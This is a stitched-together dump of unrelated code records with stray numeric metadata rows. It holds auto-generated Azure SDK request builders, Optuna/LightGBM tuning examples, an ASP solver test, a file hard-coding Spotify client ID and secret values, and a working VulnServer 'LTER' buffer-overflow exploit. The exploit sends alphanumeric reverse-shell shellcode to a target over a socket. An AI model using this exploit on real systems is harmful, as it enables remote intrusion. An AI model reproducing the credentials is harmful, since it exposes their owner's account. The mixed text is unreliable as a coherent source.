builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ [ "str" # Optional. ] ] """ accept = "application/json" # Construct URL url = '/array/array/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_array_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Put An array of array of strings [['1', '2', '3'], ['4', '5', '6'], ['7', '8', '9']]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ [ "str" # Optional. ] ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/array/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs ) def build_get_dictionary_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get an array of Dictionaries with value null. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ { "str": "str" # Optional. } ] """ accept = "application/json" # Construct URL url = '/array/dictionary/null' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_dictionary_empty_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get an array of Dictionaries of type <string, string> with value []. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ { "str": "str" # Optional. } ] """ accept = "application/json" # Construct URL url = '/array/dictionary/empty' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_dictionary_item_null_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get an array of Dictionaries of type <string, string> with value [{'1': 'one', '2': 'two', '3': 'three'}, null, {'7': 'seven', '8': 'eight', '9': 'nine'}]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ { "str": "str" # Optional. } ] """ accept = "application/json" # Construct URL url = '/array/dictionary/itemnull' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_dictionary_item_empty_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get an array of Dictionaries of type <string, string> with value [{'1': 'one', '2': 'two', '3': 'three'}, {}, {'7': 'seven', '8': 'eight', '9': 'nine'}]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ { "str": "str" # Optional. } ] """ accept = "application/json" # Construct URL url = '/array/dictionary/itemempty' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_get_dictionary_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get an array of Dictionaries of type <string, string> with value [{'1': 'one', '2': 'two', '3': 'three'}, {'4': 'four', '5': 'five', '6': 'six'}, {'7': 'seven', '8': 'eight', '9': 'nine'}]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # response body for status code(s): 200 response.json() == [ { "str": "str" # Optional. } ] """ accept = "application/json" # Construct URL url = '/array/dictionary/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="GET", url=url, headers=header_parameters, **kwargs ) def build_put_dictionary_valid_request( **kwargs # type: Any ): # type: (...) -> HttpRequest """Get an array of Dictionaries of type <string, string> with value [{'1': 'one', '2': 'two', '3': 'three'}, {'4': 'four', '5': 'five', '6': 'six'}, {'7': 'seven', '8': 'eight', '9': 'nine'}]. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this request builder into your code flow. :keyword json: Pass in a JSON-serializable object (usually a dictionary). See the template in our example to find the input shape. :paramtype json: JSONType :keyword content: Pass in binary content you want in the body of the request (typically bytes, a byte iterator, or stream input). :paramtype content: any :return: Returns an :class:`~azure.core.rest.HttpRequest` that you will pass to the client's `send_request` method. See https://aka.ms/azsdk/python/protocol/quickstart for how to incorporate this response into your code flow. :rtype: ~azure.core.rest.HttpRequest Example: .. code-block:: python # JSON input template you can fill out and use as your body input. json = [ { "str": "str" # Optional. } ] """ content_type = kwargs.pop('content_type', None) # type: Optional[str] accept = "application/json" # Construct URL url = '/array/dictionary/valid' # Construct headers header_parameters = kwargs.pop("headers", {}) # type: Dict[str, Any] if content_type is not None: header_parameters['Content-Type'] = _SERIALIZER.header("content_type", content_type, 'str') header_parameters['Accept'] = _SERIALIZER.header("accept", accept, 'str') return HttpRequest( method="PUT", url=url, headers=header_parameters, **kwargs )
31.391672
102
0.623923
11,264
92,731
5.066939
0.025124
0.063076
0.031661
0.031433
0.984196
0.983267
0.983267
0.982093
0.975628
0.973929
0
0.016051
0.253594
92,731
2,953
103
31.402303
0.808539
0.605191
0
0.811655
0
0
0.169628
0.051443
0
0
0
0
0
1
0.0718
false
0
0.005203
0
0.148803
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ce0feac19266314e95adc029d650ae4de99d74d6
4,186
py
Python
VulnServer/LTER/exploit.py
cwinfosec/practice
c0010258799aa5c9f9e5cccec2ba8515b8424771
[ "MIT" ]
1
2020-10-03T07:57:42.000Z
2020-10-03T07:57:42.000Z
VulnServer/LTER/exploit.py
cwinfosec/practice
c0010258799aa5c9f9e5cccec2ba8515b8424771
[ "MIT" ]
null
null
null
VulnServer/LTER/exploit.py
cwinfosec/practice
c0010258799aa5c9f9e5cccec2ba8515b8424771
[ "MIT" ]
null
null
null
#!/usr/bin/env python """ Description: AlphaNumeric Buffer Overflow (Vanilla) via "LTER" in VulnServer Author: Cody Winkler Contact: @cwinfosec (twitter) Date: 11/15/2019 Tested On: Windows XP SP2 EN [+] Usage: python expoit.py <IP> <PORT> $ python exploit.py 127.0.0.1 9999 """ import socket import struct import sys host = sys.argv[1] port = int(sys.argv[2]) # 62501203 in essfunc.dll jmp_esp = struct.pack("<I", 0x62501203) # msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.16 LPORT=4444 --arch x86 --platform windows bufferregister=esp -e x86/alpha_mixed -f c # x86/alpha_mixed chosen with final size 709 shellcode = ("\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" "\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b" "\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58" "\x50\x38\x41\x42\x75\x4a\x49\x69\x6c\x49\x78\x4e\x62\x33\x30" "\x45\x50\x53\x30\x53\x50\x4e\x69\x78\x65\x74\x71\x59\x50\x42" "\x44\x4c\x4b\x56\x30\x70\x30\x4c\x4b\x53\x62\x44\x4c\x6c\x4b" "\x36\x32\x37\x64\x6e\x6b\x52\x52\x57\x58\x34\x4f\x4e\x57\x43" "\x7a\x47\x56\x45\x61\x4b\x4f\x4c\x6c\x67\x4c\x31\x71\x31\x6c" "\x74\x42\x36\x4c\x67\x50\x7a\x61\x5a\x6f\x56\x6d\x63\x31\x6f" "\x37\x38\x62\x49\x62\x33\x62\x33\x67\x6e\x6b\x66\x32\x42\x30" "\x6c\x4b\x71\x5a\x47\x4c\x4e\x6b\x72\x6c\x67\x61\x50\x78\x48" "\x63\x51\x58\x35\x51\x7a\x71\x32\x71\x6c\x4b\x71\x49\x45\x70" "\x66\x61\x79\x43\x4c\x4b\x62\x69\x77\x68\x68\x63\x47\x4a\x50" "\x49\x6e\x6b\x30\x34\x6e\x6b\x66\x61\x4e\x36\x64\x71\x39\x6f" "\x6e\x4c\x39\x51\x48\x4f\x44\x4d\x66\x61\x49\x57\x37\x48\x69" "\x70\x42\x55\x6c\x36\x55\x53\x31\x6d\x39\x68\x55\x6b\x43\x4d" "\x55\x74\x33\x45\x7a\x44\x61\x48\x6e\x6b\x53\x68\x47\x54\x46" "\x61\x58\x53\x62\x46\x4e\x6b\x66\x6c\x32\x6b\x4e\x6b\x31\x48" "\x47\x6c\x53\x31\x6a\x73\x4c\x4b\x74\x44\x4e\x6b\x36\x61\x78" "\x50\x4c\x49\x37\x34\x46\x44\x74\x64\x51\x4b\x31\x4b\x30\x61" "\x76\x39\x32\x7a\x76\x31\x69\x6f\x69\x70\x53\x6f\x31\x4f\x32" "\x7a\x4e\x6b\x55\x42\x58\x6b\x6c\x4d\x61\x4d\x51\x78\x56\x53" "\x46\x52\x45\x50\x57\x70\x52\x48\x32\x57\x31\x63\x67\x42\x63" "\x6f\x33\x64\x75\x38\x72\x6c\x70\x77\x44\x66\x34\x47\x49\x6f" "\x6a\x75\x58\x38\x7a\x30\x73\x31\x47\x70\x45\x50\x55\x79\x4a" "\x64\x30\x54\x70\x50\x62\x48\x61\x39\x4f\x70\x32\x4b\x73\x30" "\x6b\x4f\x59\x45\x32\x70\x42\x70\x72\x70\x66\x30\x63\x70\x46" "\x30\x31\x50\x42\x70\x51\x78\x7a\x4a\x64\x4f\x39\x4f\x4d\x30" "\x6b\x4f\x69\x45\x4f\x67\x52\x4a\x36\x65\x43\x58\x37\x7a\x54" "\x4a\x35\x5a\x44\x50\x73\x58\x55\x52\x47\x70\x52\x31\x43\x6c" "\x4b\x39\x38\x66\x52\x4a\x74\x50\x46\x36\x51\x47\x53\x58\x4e" "\x79\x39\x35\x42\x54\x55\x31\x59\x6f\x4a\x75\x4b\x35\x6b\x70" "\x34\x34\x74\x4c\x79\x6f\x32\x6e\x64\x48\x30\x75\x38\x6c\x71" "\x78\x4a\x50\x48\x35\x6c\x62\x42\x76\x6b\x4f\x6a\x75\x63\x58" "\x32\x43\x70\x6d\x61\x74\x35\x50\x6c\x49\x39\x73\x42\x77\x53" "\x67\x73\x67\x44\x71\x58\x76\x53\x5a\x65\x42\x72\x79\x76\x36" "\x6b\x52\x49\x6d\x50\x66\x69\x57\x30\x44\x46\x44\x47\x4c\x65" "\x51\x47\x71\x4e\x6d\x51\x54\x46\x44\x66\x70\x6f\x36\x67\x70" "\x43\x74\x70\x54\x56\x30\x52\x76\x76\x36\x56\x36\x52\x66\x56" "\x36\x62\x6e\x63\x66\x70\x56\x70\x53\x62\x76\x62\x48\x73\x49" "\x48\x4c\x55\x6f\x4f\x76\x79\x6f\x7a\x75\x4b\x39\x6b\x50\x32" "\x6e\x71\x46\x63\x76\x49\x6f\x36\x50\x71\x78\x34\x48\x4c\x47" "\x35\x4d\x31\x70\x59\x6f\x59\x45\x4f\x4b\x48\x70\x38\x35\x4f" "\x52\x56\x36\x51\x78\x79\x36\x4c\x55\x4f\x4d\x6f\x6d\x59\x6f" "\x4b\x65\x57\x4c\x46\x66\x43\x4c\x37\x7a\x6f\x70\x59\x6b\x6d" "\x30\x73\x45\x35\x55\x6d\x6b\x43\x77\x64\x53\x73\x42\x50\x6f" "\x53\x5a\x45\x50\x61\x43\x4b\x4f\x7a\x75\x41\x41") nopsled = "\x44"*16 # inc esp # Overflowed with lter.spk "LTER /.:/(3520 A's)" # Message= EIP contains normal pattern : 0x386f4337 (offset 2003) buffer = "LTER /.:/" buffer += "A"*2003 buffer += jmp_esp buffer += nopsled buffer += shellcode buffer += "C"*(3516-2003-len(jmp_esp)-len(nopsled)-len(shellcode)) try: print "[+] Connecting to target" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.recv(1024) print "[+] Sent payload with length: %d" % len(buffer) s.send(buffer) s.close() except: print "[-] Something went wrong :("
42.714286
141
0.706402
887
4,186
3.323563
0.204059
0.030529
0.042741
0.052917
0.016282
0.016282
0.016282
0.016282
0.016282
0.016282
0
0.33689
0.059723
4,186
97
142
43.154639
0.412094
0.083373
0
0
0
0.671429
0.814338
0.786334
0
1
0.0028
0
0
0
null
null
0
0.042857
null
null
0.042857
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
1
1
1
null
1
0
0
0
1
0
0
0
0
0
0
0
0
7
ce3c78077f88028cdc6c2660b365c928b9f0f873
85
py
Python
spotifyApp/spotifyAPI/client_secrets.py
RackiSebastian/TeamSoftwareProjectUcc
34e61b34ba11ab52c3d54a643aac8cbb8a16a171
[ "bzip2-1.0.6" ]
null
null
null
spotifyApp/spotifyAPI/client_secrets.py
RackiSebastian/TeamSoftwareProjectUcc
34e61b34ba11ab52c3d54a643aac8cbb8a16a171
[ "bzip2-1.0.6" ]
null
null
null
spotifyApp/spotifyAPI/client_secrets.py
RackiSebastian/TeamSoftwareProjectUcc
34e61b34ba11ab52c3d54a643aac8cbb8a16a171
[ "bzip2-1.0.6" ]
null
null
null
ID = "599babce749a4b21bf4f33179fa22927" SECRET = "19def5b3f5e545da994f0e4f06432148"
42.5
44
0.847059
4
85
18
1
0
0
0
0
0
0
0
0
0
0
0.525641
0.082353
85
2
44
42.5
0.397436
0
0
0
0
0
0.744186
0.744186
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
1
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
1
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0215a00531cb914a681c6fcc5b86baa30cc87aed
2,830
py
Python
examples/method_examples/optuna_tuning.py
c60evaporator/param_tuning_utility
8518b76369dcc918172a87ab4c975ee3a12f7045
[ "BSD-3-Clause" ]
null
null
null
examples/method_examples/optuna_tuning.py
c60evaporator/param_tuning_utility
8518b76369dcc918172a87ab4c975ee3a12f7045
[ "BSD-3-Clause" ]
null
null
null
examples/method_examples/optuna_tuning.py
c60evaporator/param_tuning_utility
8518b76369dcc918172a87ab4c975ee3a12f7045
[ "BSD-3-Clause" ]
null
null
null
# %% optuna_tuning(), no argument import parent_import from muscle_tuning import LGBMRegressorTuning from sklearn.datasets import load_boston import pandas as pd # Load dataset USE_EXPLANATORY = ['CRIM', 'NOX', 'RM', 'DIS', 'LSTAT'] df_boston = pd.DataFrame(load_boston().data, columns=load_boston().feature_names) X = df_boston[USE_EXPLANATORY].values y = load_boston().target tuning = LGBMRegressorTuning(X, y, USE_EXPLANATORY) ###### Run optuna_tuning() ###### best_params, best_score = tuning.optuna_tuning() # %% optuna_tuning(), Set parameter range by 'tuning_params' argument import parent_import from muscle_tuning import LGBMRegressorTuning from sklearn.datasets import load_boston import pandas as pd # Load dataset USE_EXPLANATORY = ['CRIM', 'NOX', 'RM', 'DIS', 'LSTAT'] df_boston = pd.DataFrame(load_boston().data, columns=load_boston().feature_names) X = df_boston[USE_EXPLANATORY].values y = load_boston().target tuning = LGBMRegressorTuning(X, y, USE_EXPLANATORY) # Set 'tuning_params' argument BAYES_PARAMS = {'reg_alpha': (0.001, 0.1), 'reg_lambda': (0.001, 0.1), 'num_leaves': (2, 50), 'colsample_bytree': (0.4, 1.0), 'subsample': (0.4, 0.8), 'subsample_freq': (0, 5), 'min_child_samples': (0, 20) } ###### Run optuna_tuning() ###### best_params, best_score = tuning.optuna_tuning(tuning_params=BAYES_PARAMS, n_trials=200, ) # %% optuna_tuning(), Set estimator by 'estimator' argument import parent_import from muscle_tuning import LGBMRegressorTuning from sklearn.datasets import load_boston import pandas as pd from sklearn.pipeline import Pipeline from sklearn.preprocessing import StandardScaler from lightgbm import LGBMRegressor # Load dataset USE_EXPLANATORY = ['CRIM', 'NOX', 'RM', 'DIS', 'LSTAT'] df_boston = pd.DataFrame(load_boston().data, columns=load_boston().feature_names) X = df_boston[USE_EXPLANATORY].values y = load_boston().target tuning = LGBMRegressorTuning(X, y, USE_EXPLANATORY) # Set 'estimator' argument ESTIMATOR = Pipeline([("scaler", StandardScaler()), ("lgbmr", LGBMRegressor())]) # Set 'tuning_params' argument BAYES_PARAMS = {'reg_alpha': (0.001, 0.1), 'reg_lambda': (0.001, 0.1), 'num_leaves': (2, 50), 'colsample_bytree': (0.4, 1.0), 'subsample': (0.4, 0.8), 'subsample_freq': (0, 5), 'min_child_samples': (0, 20) } ###### Run bayes_opt_tuning() ###### best_params, best_score = tuning.optuna_tuning(estimator=ESTIMATOR, tuning_params=BAYES_PARAMS, n_trials=2) # %%
41.617647
81
0.635689
339
2,830
5.079646
0.224189
0.069686
0.041812
0.013937
0.824623
0.824623
0.789779
0.789779
0.764808
0.764808
0
0.027637
0.232862
2,830
68
82
41.617647
0.765546
0.122968
0
0.759259
0
0
0.095238
0
0
0
0
0
0
1
0
false
0
0.277778
0
0.277778
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
02878b957277625bfcf3c5cc16d26c4c28d81987
186,113
py
Python
tests/asp/gringo/modelchecker.044.test.py
bernardocuteri/wasp
05c8f961776dbdbf7afbf905ee00fc262eba51ad
[ "Apache-2.0" ]
19
2015-12-03T08:53:45.000Z
2022-03-31T02:09:43.000Z
tests/asp/gringo/modelchecker.044.test.py
bernardocuteri/wasp
05c8f961776dbdbf7afbf905ee00fc262eba51ad
[ "Apache-2.0" ]
80
2017-11-25T07:57:32.000Z
2018-06-10T19:03:30.000Z
tests/asp/gringo/modelchecker.044.test.py
bernardocuteri/wasp
05c8f961776dbdbf7afbf905ee00fc262eba51ad
[ "Apache-2.0" ]
6
2015-01-15T07:51:48.000Z
2020-06-18T14:47:48.000Z
input = """ not_p21|p20|p18:-p1,not p22. p1|p12|p2|not_p16:-not p23,not p3. not_p21|p15|p22|not_p12. p3|not_p20|p18:-p13,not p22,not p14. not_p21|p20|p18|p3:-p13,not p22. not_p5:-not p5. :-p16,not_p16. p12|not_p15|p16|p17:-p6,p1. p3|p20|p18|p3:-p1,not p22. p11|not_p20|p8|not_p15:-p24,p2. p17|p12|p8|not_p8. not_p25|p14|p9|not_p3. p1|p15|p15|not_p18:-not p5,p24. p6|not_p15|p7|p17:-p6,p1. p21|p22|p11|p25|not_p20:-p17. not_p2|not_p24|p9:-p1,p12,not p11. p24|p9|p24|not_p22:-p19,p23. p6|p9|p6|not_p22:-p19,p23. p15|p6:-p19,p5,not p3,not p7. p11|not_p20|not_p1|not_p4:-p24,p2. p15|p4|p3|p1:-p12,p5. not_p20|not_p1|not_p4:-p7,p2,not p25. p15|not_p22|p24|not_p12. p24|p9|p24|p10:-p12,p23. p24|p9|p24|not_p22:-p12,p23. p19|p1|p12:-p19,not p23,not p11. not_p23|p7|p21|p5:-p13,not p3. not_p5|not_p5|not_p19|p22. p17|p12|p8|p25. p3|p21|not_p20:-p6,p23,not p4. not_p22|p24|p15:-not p23. p17|p6|not_p19|not_p8. p21|p5|p12|not_p20:-p14. p11|p8|p4|p16. p6|p4|p7|p18:-p9,p1. p21|p22|p12|p25|not_p20:-p14. p3|p20|p18:-p1,not p22. p5|p11|p25|not_p20:-p17,not p7. p12|not_p15|p16|p18:-p9,p1. not_p23|p7|not_p17|p5:-p13,not p3. p15|p11|p24|p3. p6|p7:-p19,not p23,not p3,not p11. p1|p14|p2|p11:-not p5,p24. p24|p8|not_p15:-p7,p2,not p25. p21|p5|p12|not_p20:-p17. p1|p15|p15|p11:-not p5,p24. :-p19,not_p19. p24|not_p8|p6|not_p22:-p12,p23. not_p4:-not p4. p2|p24|p15:-not p23. """ output = """ {p2, p15, not_p5, p16, p17, p14, p21, p25, not_p4} {p18, p1, p15, not_p5, p16, p17, p14, p21, p25, not_p4} {p20, p1, p15, not_p5, p16, p17, p14, p21, p25, not_p4} {p2, p15, not_p5, p16, p17, not_p3, p21, p25, not_p4} {p18, p1, p15, not_p5, p16, p17, not_p3, p21, p25, not_p4} {p20, p1, p15, not_p5, p16, p17, not_p3, p21, p25, not_p4} {p2, p15, not_p5, p16, p17, not_p25, p21, p25, not_p4} {p18, p1, p15, not_p5, p16, p17, not_p25, p21, p25, not_p4} {p20, p1, p15, not_p5, p16, p17, not_p25, p21, p25, not_p4} {p20, p1, p15, not_p5, p16, p17, p9, p7, p21, not_p4} {p20, p1, p15, not_p5, p16, p17, p6, p9, p21, p25, not_p4} {p20, p1, p15, not_p5, p16, p17, p6, p11, p9, p21, not_p4} {p18, p1, p15, not_p5, p16, p17, p9, p21, p25, not_p4} {p2, p15, not_p5, p16, p17, p9, p21, p25, not_p4} {p2, p15, not_p5, p16, p17, not_p20, not_p3, not_p4} {p12, p15, not_p5, p16, p17, not_p20, not_p3, not_p4} {p18, p1, p15, not_p5, p16, p17, not_p20, not_p3, not_p4} {p20, p1, p15, not_p5, p16, p17, not_p20, not_p3, not_p4} {p2, p15, not_p5, p16, p17, not_p20, not_p25, not_p4} {p12, p15, not_p5, p16, p17, not_p20, not_p25, not_p4} {p18, p1, p15, not_p5, p16, p17, not_p20, not_p25, not_p4} {p20, p1, p15, not_p5, p16, p17, not_p20, not_p25, not_p4} {p18, p1, p15, not_p5, p16, p17, not_p20, p9, not_p4} {p20, p1, p15, not_p5, p16, p17, p6, not_p20, p9, not_p4} {p20, p1, p15, not_p5, p16, p17, not_p20, p9, p7, not_p4} {p2, p15, not_p5, p16, p17, not_p20, p9, not_p4} {p12, p15, not_p5, p16, p17, not_p20, p9, not_p4} {p2, p15, not_p5, p16, p17, not_p20, p14, not_p4} {p12, p15, not_p5, p16, p17, not_p20, p14, not_p4} {p18, p1, p15, not_p5, p16, p17, not_p20, p14, not_p4} {p20, p1, p15, not_p5, p16, p17, not_p20, p14, not_p4} {p12, p15, not_p5, p16, p17, not_p3, p25, not_p4} {p12, p15, not_p5, p16, p17, not_p25, p25, not_p4} {p12, p15, not_p5, p16, p17, p9, p25, not_p4} {p12, p15, not_p5, p16, p17, p14, p25, not_p4} {p2, p15, not_p5, p16, not_p8, not_p3, p25, not_p4} {p18, p1, p15, not_p5, p16, not_p8, not_p3, p25, not_p4} {p20, p1, p15, not_p5, p16, not_p8, not_p3, p25, not_p4} {p2, p15, not_p5, p16, not_p8, p14, p21, p25, not_p4} {p18, p1, p15, not_p5, p16, not_p8, p14, p21, p25, not_p4} {p20, p1, p15, not_p5, p16, not_p8, p14, p21, p25, not_p4} {p2, p15, not_p5, p16, not_p20, not_p8, p14, p25, not_p4} {p18, p1, p15, not_p5, p16, not_p20, not_p8, p14, p25, not_p4} {p20, p1, p15, not_p5, p16, not_p20, not_p8, p14, p25, not_p4} {p2, p15, not_p5, p16, not_p8, not_p25, p25, not_p4} {p18, p1, p15, not_p5, p16, not_p8, not_p25, p25, not_p4} {p20, p1, p15, not_p5, p16, not_p8, not_p25, p25, not_p4} {p18, p1, p15, not_p5, p16, not_p8, p9, p25, not_p4} {p20, p1, p15, not_p5, p16, p6, not_p8, p9, p25, not_p4} {p20, p1, p15, not_p5, p16, not_p8, p9, p7, p25, not_p4} {p2, p15, not_p5, p16, not_p8, p9, p25, not_p4} {p12, p15, not_p5, p16, not_p8, not_p3, not_p4} {p12, p15, not_p5, p16, not_p8, not_p25, not_p4} {p20, p1, p15, not_p5, p16, p8, not_p8, p9, p7, not_p4} {p12, p15, not_p5, p16, not_p8, p9, not_p4} {p12, p15, not_p5, p16, not_p8, p14, not_p4} {p20, p1, p15, not_p5, p16, p8, p9, p7, not_p4, not_p19} {p18, p1, p15, not_p5, p16, p6, p8, not_p3, not_p4} {p20, p1, p15, not_p5, p16, p6, p8, not_p3, not_p4} {p18, p1, p15, not_p5, p16, p6, p8, not_p25, not_p4} {p20, p1, p15, not_p5, p16, p6, p8, not_p25, not_p4} {p18, p1, p15, not_p5, p16, p6, p8, p9, not_p4} {p20, p1, p15, not_p5, p16, p6, p8, p9, not_p4} {p18, p1, p15, not_p5, p16, p6, p8, p14, p21, not_p4} {p20, p1, p15, not_p5, p16, p6, p8, p14, p21, not_p4} {p18, p1, p15, not_p5, p16, p6, not_p20, p8, p14, not_p4} {p20, p1, p15, not_p5, p16, p6, not_p20, p8, p14, not_p4} {p12, p15, not_p5, p16, not_p3, not_p4, not_p19} {p12, p15, not_p5, p16, p14, not_p4, not_p19} {p12, p15, not_p5, p16, not_p25, not_p4, not_p19} {p12, p15, not_p5, p16, p9, not_p4, not_p19} {p12, p15, not_p5, p16, p6, p14, not_p4} {p12, p15, not_p5, p16, p6, not_p3, not_p4} {p12, p15, not_p5, p16, p6, not_p25, not_p4} {p12, p15, not_p5, p16, p6, p9, not_p4} {p22, p12, p15, p5, p16, p17, not_p3, not_p4} {p22, p2, p15, p5, p16, p17, not_p3, not_p4} {p1, p22, p15, p5, p16, p17, not_p3, not_p4} {p22, p12, p15, p5, p16, p17, p14, not_p4} {p22, p2, p15, p5, p16, p17, p14, not_p4} {p1, p22, p15, p5, p16, p17, p14, not_p4} {p22, p12, p15, p5, p16, p17, not_p25, not_p4} {p22, p2, p15, p5, p16, p17, not_p25, not_p4} {p1, p22, p15, p5, p16, p17, not_p25, not_p4} {p22, p12, p15, p5, p16, p17, p9, not_p4} {p22, p2, p15, p5, p16, p17, p9, not_p4} {p1, p22, p15, p5, p16, p17, p6, p9, not_p4} {p18, p1, p22, p15, p5, p16, p17, p9, not_p4} {p1, p22, p15, p5, p16, p17, p9, p7, not_p4} {p2, p15, p5, p16, p17, not_p3, p25, not_p4, not_p19} {p2, p15, not_p5, p5, p16, p17, not_p3, p25, not_p4} {p18, p1, p15, p5, p16, p17, not_p3, p25, not_p4, not_p19} {p20, p1, p15, p5, p16, p17, not_p3, p25, not_p4, not_p19} {p18, p1, p15, not_p5, p5, p16, p17, not_p3, p25, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, not_p3, p25, not_p4} {p2, p15, p5, p16, p17, not_p3, p21, not_p4, not_p19} {p18, p1, p15, p5, p16, p17, not_p3, p21, not_p4, not_p19} {p20, p1, p15, p5, p16, p17, not_p3, p21, not_p4, not_p19} {p12, p15, not_p5, p5, p16, p17, not_p3, p21, not_p4} {p2, p15, not_p5, p5, p16, p17, not_p3, p21, not_p4} {p18, p1, p15, not_p5, p5, p16, p17, not_p3, p21, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, not_p3, p21, not_p4} {p2, p15, p5, p16, p17, not_p25, p25, not_p4, not_p19} {p2, p15, not_p5, p5, p16, p17, not_p25, p25, not_p4} {p18, p1, p15, p5, p16, p17, not_p25, p25, not_p4, not_p19} {p20, p1, p15, p5, p16, p17, not_p25, p25, not_p4, not_p19} {p18, p1, p15, not_p5, p5, p16, p17, not_p25, p25, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, not_p25, p25, not_p4} {p2, p15, p5, p16, p17, not_p25, p21, not_p4, not_p19} {p18, p1, p15, p5, p16, p17, not_p25, p21, not_p4, not_p19} {p20, p1, p15, p5, p16, p17, not_p25, p21, not_p4, not_p19} {p12, p15, not_p5, p5, p16, p17, not_p25, p21, not_p4} {p2, p15, not_p5, p5, p16, p17, not_p25, p21, not_p4} {p18, p1, p15, not_p5, p5, p16, p17, not_p25, p21, not_p4} {p20, p1, p15, not_p5, p5, p16, p17, not_p25, p21, not_p4} {p2, p15, p5, p16, p17, p9, p25, not_p4, not_p19} {p2, p15, p5, p16, p17, p9, p21, not_p4, not_p19} {p18, p1, p15, p5, p16, p17, p9, p25, not_p4, not_p19} {p20, p1, p15, p5, p16, p17, p6, p9, p25, not_p4, not_p19} {p20, 